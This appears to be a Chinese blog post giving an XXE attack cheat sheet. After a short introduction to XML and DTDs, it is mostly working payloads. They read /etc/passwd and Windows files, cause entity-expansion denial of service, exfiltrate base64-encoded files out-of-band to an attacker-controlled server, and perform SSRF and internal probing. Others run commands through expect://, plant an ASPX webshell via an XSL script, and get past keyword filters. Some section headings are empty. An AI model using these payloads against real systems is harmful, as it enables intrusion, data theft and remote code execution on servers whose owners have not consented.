当前位置:网站首页>WEB 渗透之XXE&XML
WEB 渗透之XXE&XML
2022-08-04 16:39:00 【weixin_53150482】
XXE&XML
1. 介绍
介绍: XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明,DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具,XXE 漏洞全称 XML External Entity Injection ,
即 XML 外部实体注入漏洞
,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害XML 和 HTML 差别
- XML 被设计为传输和存储数据,其焦点是数据的内容
- HTML 被设计用来显示数据,其焦点是数据的外观
- HTML 指在显示信息,而 XML 值在传输信息
<!--XML 声明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
XML 元素介绍:
文档类型定义 (DTD) 可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构
DTD 可被声明在 XML 文档中,也可以作为一个外部引用:内部的声明
<!DOCTYPE 根元素 [元素声明]>
外部文档的申明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
DTD 实体:
内部实体声明
<!ENTITY 实体名称 ”实体的值”>
外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
参数实体声明
<!ENTITY %实体名称 ”实体的值”> <!ENTITY %实体名称 SYSTEM ”URI”>
2. 漏洞危害
3. 漏洞利用
1. 挖掘思路
如遇与xml交互的地方
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY test "this is test"> ]>
<root>&test;</root>
看是否输出
检查是否支持外部实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY % foo SYSTEM "http://attacker/evil.xml"> %foo; ]>
查看你的服务器是否有请求
JSON content-type XXE
修改Content-Type: application/xml
X-Requested-With: XMLHttpRequest
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<参数name>name</参数name>
<参数value>&xxe;</ 参数value>
</root>
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
<?xml version="1.0"?>
<!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
拒接服务攻击
<!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> ]> <data>&a2;</data>
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
读文件
<!-- 有回显 --> <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://test.txt"> ]> <x>&xxe;</x>
无回显:
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"> <!ENTITY % dtd SYSTEM "http://远程:8081/test.dtd"> %dtd; %send; ]>
在自己服务器上创建相应文件,使目标服务器访问自己服务器,从日志查看信息 test.dtd:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>" > %payload;
内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <x>&rabbit;</x>
RCE 该 CASE 是在安装 expect 扩展的 PHP 环境中执行的
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id" > ]> <x>&xxe;</x>
SSRF
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://publicServer.com/" [ <!ELEMENT data (#ANY)> ]> <data>4</data
引入外部实体 dtd
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <x>&send;</x> evil2.dtd: <!ENTITY send SYSTEM "file:///d:/test.txt">
协议–读文件
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <x>&f;</x>
XXE 写 shell:
当XXE支持XSL时 <?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="C#" implements-prefix="user"> <![CDATA[ public string xml() { System.Net.WebClient webClient = new System.Net.WebClient(); webClient.DownloadFile("https://x.x.x.x/shell.txt", @"c:\inetpub\wwwroot\shell.aspx"); return "Exploit Success"; } ]]> </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:xml()"/> </xsl:template> </xsl:stylesheet>
4. 绕过姿势
ENTITY
system
file
等关键字被过滤使用编码方式绕过: UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
http 被过滤:
data:// 协议绕过
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> "> %a; %b; ]> <test>&hhh;</test>
file:// 协议加文件上传
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <!--上传文件--> <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
php://filter 协议加文件上传
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <test> &hhh; </test> <!--上传文件--> <!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <test> &hhh; </test> <!--上传文件--> PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
5. 靶场
6. 参考文章
==
```
5. 靶场
6. 参考文章
边栏推荐
- 8年软件测试感悟,送给刚入测试行业的小伙伴
- 抖音最重要的接口——item_search_video-根据关键词获取视频列表
- 不需要服务器,教你仅用30行代码搞定实时健康码识别
- Visual Studio 2022创建项目没有CUDA模板的解决方法
- SAP 电商云 Spartacus UI SSR 单元测试里的 callFake
- JVM调优-GC基本原理和调优关键分析
- 越来越火的图数据库到底能做什么?
- Mobile magic box CM211-1_YS foundry _S905L3B_RTL8822C_wire brush firmware package
- SAP ABAP SteammPunk 蒸汽朋克的最新进展 - 嵌入式蒸汽朋克
- js判断一个对象是否在一个对象数组中
猜你喜欢
从正负样本解耦看对比学习为何需要large batch size训练Ddcoupled Contrastive learning (DCT)
RTL8762DK 远端设备配对
Hubei Telecom Tianyi TY1608_S905L3B_MT7668_ card brush firmware package
广东移动魔百盒M411A _905L3_线刷固件包
越来越火的图数据库到底能做什么?
勒索软件的原理
8月5日,麒麟信安邀您相约鲲鹏开发者创享日·长沙站!
B站回应HR称核心用户是Loser;微博回应宕机原因;Go 1.19 正式发布|极客头条
Real-Time Rendering 4th related resource arrangement (no credit required)
Minecraft 服务器安装Forge 并添加Mod
随机推荐
测试开发必备技能-Jmeter二次开发
华为云数据治理生产线DataArts,让“数据‘慧’说话”
seaborn
SAP HANA Schemas 和 HDI Containers
Mysql Explain
移动魔百盒CM211-1_YS代工_S905L3B_RTL8822C_线刷固件包
Visual Studio 2022创建项目没有CUDA模板的解决方法
美容院管理系统有哪些促销方式?
谷粒商城笔记
跨域传递数据(iframe)
推荐 7 月份 yyds 的开源项目
gcc7.5.0编译ceres-solver报错‘is_trivially_default_constructible’ is not a member of ‘std’
LeetCode·85.最大矩形·单调栈
拼多多详情API接口深度解读
重新审视分布式系统:永远不会有完美的一致性方案……
jMeter Transaction Controller 学习笔记
CSDN21天学习挑战赛——程序流程控制(02)
码蹄集 - MT2142 - 万民堂大厨
聚合收款码有限制吗?怎么办理?
NFT盲盒挖矿系统dapp开发NFT链游搭建